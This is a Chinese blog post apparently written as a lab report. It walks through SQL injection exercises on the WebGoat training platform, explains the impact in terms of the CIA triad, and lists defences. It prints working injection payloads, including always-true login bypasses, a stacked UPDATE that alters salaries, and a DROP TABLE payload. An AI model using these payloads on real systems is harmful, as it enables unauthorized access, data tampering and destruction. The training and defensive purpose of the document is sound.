基于WebGoat平台的SQL注入攻击

目录

引言

一、安装好JAVA

二、下载并运行WebGoat

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

2. 第十题

3. 第十一题

4. 第十二题

5. 第十三题

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

(2)完整性

(3)可用性

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

6. 怎样预防和避免SQL 注入攻击。


引言

熟悉WebGoat平台,在该平台上实现SQL注入攻击。

(1)下载webgoat-server-8.2.2.jar。

(2)搭建java环境。

(3)运行webgoat。

(4)实施SQL注入攻击。

一、安装好JAVA

二、下载并运行WebGoat

本文置顶免费下载,解压即可。

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

原SQL语句

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = ' " + lastName + " ' ";

填入如下:

SELECT * FROM user_data WHERE first_name = 'John' AND last_name =  'Smith'  or '1'='1' ;

成功查到所有用户的信息。

2. 第十题

原SQL语句

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

输入:

SQL语句变为:

SELECT * FROM user_data WHERE login_count = 1 AND userid = '1' or '1' = '1' ;

成功查到所有用户的信息。

3. 第十一题

原SQL语句:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

填入:

SQL语句变为:

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ' or'1'='1 ';

成功查到用户信息:

4. 第十二题

原SQL语句:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

填入:

Employee Name:小煊

Authentication TAN: '; update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith

(在一个查询语句中注入一个修改语句,从而破坏数据库中的数据,从而破坏了完整性。)

SQL语句变为:

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ';update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith    ' ;

成功查到并插入用户信息:

5. 第十三题

原SQL语句如下:

"SELECT * FROM user_data WHERE login_count ='"+variable+"'";

填入:

SQL语句变为:

SELECT * FROM user_data WHERE login_count ='  '; drop table access_log; --  ';

(通过--注释把后面的’注释掉,成功将数据库的资源删除)

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

假设有一个简单的用户登录功能,用户输入用户名和密码,然后将其传递给数据库执行查询以验证登录信息。

String username = request.getParameter("username");String password = request.getParameter("password");String SQL = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

在上述代码中,使用用户输入的数据直接拼接成SQL查询语句。然而,当用户在用户名或密码中输入恶意字符,就可能导致SQL注入攻击的发生。

例如,用户输入的密码为' OR '1'='1,那么最终构造的SQL查询语句为:

SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'

这个查询会返回所有用户,而不仅仅是匹配用户名和密码的用户,因为'1'='1'始终为真。这样,攻击者就可以绕过身份验证,并获得未授权的访问权限。

当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。 这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web 应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

机密性是指保证信息不被非授权访问,即 使非授权用户得到信息也无法知晓信息内容,因而不能使用。SQL注入攻击可能导致数据库中的敏感信息泄露,例如用户账号、密码、个人资料等。攻击者可以通过构造恶意的SQL语句,绕过正常的身份验证和授权机制,获取到未经授权的数据。

如通过拼接字符串,使得SQL语句中有条件永远为真,不需要判断其他条件

这样输入之后可以看到数据库里全部人的信息。

(2)完整性

完整性是指维护信息的一致性,即信息在生成、传输、存储和使用过程中不应该发生人为或非人为的非授权篡改。信息的完整性包括两个方面:

数据完整性:数据没有被(未授权)篡改或者损坏;

系统完整性:系统未被非法操纵,按既定的目标运行。

攻击者可以利用SQL注入对数据库中的数据进行篡改,包括插入虚假数据、修改现有数据甚至删除数据。这可能导致系统中存储的数据被损坏或篡改,影响业务流程的正常运作。

如上面写的第十二题,在SQL语句执行的时候更改了其他数据,破坏了数据完整性。

(3)可用性

可用性是指保障信息资源随时可提供服务的能力特性,即授权用户可根据需要可以随时访问所需信息。可用性是信息资源服务功能和性能可靠性的度量,涉及到物理、网络、系统、数据、应用和用户等多方面的因素,是对信息网络总体可靠性的要求。

SQL注入攻击还可能导致数据库系统的服务不可用,包括数据库服务器崩溃、拒绝服务等情况。攻击者可以通过发送恶意的SQL查询或指令,消耗数据库系统的资源,导致其无法正常响应合法用户的请求,从而影响系统的可用性。

如上面写的第十三题,通过--注释把后面的’注释掉,成功将数据库的资源删除。

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

SELECT * FROM user_data WHERE first_name = 'John' AND last_name =  ' Smith'  or '1'='1 ' ;

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ';update employees set salary = 100 where first_name = 'John' and last_name = 'Smith    ';

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

SELECT * FROM user_data WHERE login_count ='  '; drop table access_log; --  ';

6. 怎样预防和避免SQL 注入攻击。

(1)严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害;

(2)校验参数的数据格式是否合法(可以使用正则或特殊字符的判断),对进入数据库的特殊字符进行转义处理,或编码转换。

(3)预编译 SQL(Java 中使用 PreparedStatement对特殊符号进行转义处理),参数化查询方式,避免 SQL 拼接,发布前,利用工具进行 SQL 注入检测

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/874265.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MySQL-17】存储过程-[变量篇]详解-(系统变量&用户定义变量&局部变量)

前言 大家好吖,欢迎来到 YY 滴MySQL系列 ,热烈欢迎! 本章主要内容面向接触过C的老铁 主要内容含: 欢迎订阅 YY滴C专栏!更多干货持续更新!以下是传送门! YY的《C》专栏YY的《C11》专栏YY的《Lin…

SpringBoot常用功能实现

1. 配置文件多环境配置 1.1 创建不同环境配置文件 文件名前缀和后缀为标准固定格式&#xff0c;不可以改变。 1.2 pom中加入文件配置 可以使用<activation>标签设置默认环境。 <profiles><profile><id>dev</id><activation><active…

内置华为视频终端API接口的中央控制系统

内置华为视频终端API接口的中控系统是一种高度集成化的智能控制系统&#xff0c;它通过将华为视频终端的控制功能集成到中控系统中&#xff0c;实现了对华为视频终端的远程控制和集中管理。以下是对该系统的详细介绍&#xff1a; 一、系统概述 该系统通过调用华为视频终端提供…

数据结构(队列及其实现)

概念与结构 概念&#xff1a;只允许在⼀端进⾏插⼊数据操作&#xff0c;在另⼀端进⾏删除数据操作的特殊线性表&#xff0c; 队列具有先进先出FIFO(First In First Out)原则。 ⼊队列&#xff1a;进⾏插⼊操作的⼀端称为队尾 出队列&#xff1a;进⾏删除操作的⼀端称为队头…

Python | Leetcode Python题解之第268题丢失的数字

题目&#xff1a; 题解&#xff1a; class Solution:def missingNumber(self, nums: List[int]) -> int:n len(nums)total n * (n 1) // 2arrSum sum(nums)return total - arrSum

texify - 识别数学/图像 PDF

文章目录 一、关于 texify例子训练 二、安装手动安装 三、使用1、使用技巧2、用于交互转换的应用程序3、转换图像4、Python 中导入并运行 四、限制五、基准测试运行自己的基准测试 六、其它商业用途感谢 一、关于 texify Texify是一种OCR模型&#xff0c;它将包含数学的图像或…

spring-retry详解

spring-retry详解 1.引入依赖2.Retryable基础使用3.Recover使用4.Retryable参数详解5.需要注意 重试机制对于大部分场景来说都是必要的&#xff0c;比如同步调用三方接口&#xff0c;三方接口、信息拉取等网络原因突然不通&#xff0c;有了重试就可以多一些容错机制&#xff0c…

HackTheBox--Knife

Knife 测试过程 1 信息收集 端口扫描 80端口测试 echo "10.129.63.56 knife.htb" | sudo tee -a /etc/hosts网站是纯静态的&#xff0c;无任何交互功能&#xff0c;检查网页源代码也未发现任何可利用的文件。 检查页面请求时&#xff0c;请求与响应内容&#xff0…

笔记小结:卷积神经网络之多输入多输出通道

本文为李沐老师《动手学深度学习》笔记小结&#xff0c;用于个人复习并记录学习历程&#xff0c;适用于初学者 彩色图像具有标准的RGB通道来代表红、绿和蓝&#xff0c;需要三个通道表示&#xff0c;故而只有单输入单输出是不够的。 对于单个输入和单个输出通道的简化例子&…

vscode配置latex环境制作【文档、简历、resume】

vscode配置latex环境制作【文档、简历、resume】 1. 安装Tex Live及vscode插件 可以参考&#xff1a;vscode配置latex环境制作beamer ppt 2. 添加vscode配置文件 打开vscode&#xff0c;按下Ctrl Shift P打开搜索框&#xff0c;搜索Preference: Open User Settings (JSON…

深入理解Linux网络(四):TCP接收阻塞

TCP socket 接收函数 recv 发出 recvfrom 系统调用。 进⼊系统调⽤后&#xff0c;⽤户进程就进⼊到了内核态&#xff0c;通过执⾏⼀系列的内核协议层函数&#xff0c;然后到 socket 对象的接收队列中查看是否有数据&#xff0c;没有的话就把⾃⼰添加到 socket 对应的等待队列⾥…

Conda和Pip有什么区别?

conda和pip是Python中两种常用的包管理工具&#xff0c;它们在用途、包来源以及环境管理等方面存在区别。以下是具体分析&#xff1a; 用途 conda&#xff1a;conda是Anaconda发行版中的包管理工具&#xff0c;可以管理包括非Python软件包在内的各种包。它是一个全面的环境管理…

为什么企业一定要多参加展会,参展有何好处?

在当今的商业环境中&#xff0c;展会已成为企业不可或缺的市场推广和交流平台。无论企业规模大小&#xff0c;参展都是一个极其有益的选择。以下&#xff0c;我们将深入探讨企业为何要多参加展会&#xff0c;以及参展所能带来的种种好处。 一、增强品牌影响力与知名度 展会是聚…

大数据量接口响应慢-传输优化

问题 接口一次性返回大量数据&#xff0c;导致JSON数据大小过大&#xff0c;带宽大小不足&#xff0c;导致接口响应时间过长 解决方案 通过数据传输压缩来降低传输数据的大小&#xff0c;从而提高传输效率 服务器端压缩 springboot项目配置application文件&#xff0c;通过…

视频翻译保留原音色pyvideotrans+clone-voice

剪映的视频翻译时长限制5分钟以内&#xff0c;需要积分2700首次有减免大概21.6元&#xff08;1秒9积分/1元100积分&#xff09; • 视频翻译配音工具pyvideotrans 将视频从一种语言翻译为另一种语言&#xff0c;并添加配音 打包链接&#xff1a;夸克网盘分享 升级补丁&#…

MySQL通过bin-log恢复数据

MySQL通过bin-log恢复数据 1.bin-log说明2.数据恢复流程2.1 查看是否开启bin-log2.3 查看bin-log2.4 执行数据恢复操作2.5 检查数据是否恢复 1.bin-log说明 mysqldump和bin-log都可以作为MySQL数据库备份的方式&#xff1a; mysqldump 用于将整个或部分数据库导出为可执行的S…

cms wpscan使用方式--kali linux

WPScan是一个用于WordPress安全审计和漏洞扫描的工具&#xff0c;可以通过以下命令来使用WPScan&#xff1a; 扫描一个网站&#xff1a; wpscan --url http://example.com扫描一个网站并指定用户名和密码&#xff1a; wpscan --url http://example.com --useradmin --passwo…

RoundCube搭建安装教程:服务器配置方法?

RoundCube搭建安装教程的疑问解析&#xff01;怎么搭建邮件系统&#xff1f; RoundCube是一款开源的Web邮件客户端&#xff0c;具有现代化的用户界面和丰富的功能&#xff0c;可以通过浏览器访问邮件服务器。AokSend将详细介绍如何在服务器上配置和安装RoundCube&#xff0c;以…

【Linux】SYSCALL_DEFINE4 openat执行流程摸索

在上一篇博客&#xff0c;我们基于pr_info这个内核类似c语言printf打印宏完成了打印&#xff0c;基本实现了自由开关打印&#xff0c;可以设定打印日志次数&#xff08;代码写了&#xff0c;大概10行代码&#xff09;&#xff0c;在测试的时候发现居然还有意外收获&#xff0c;…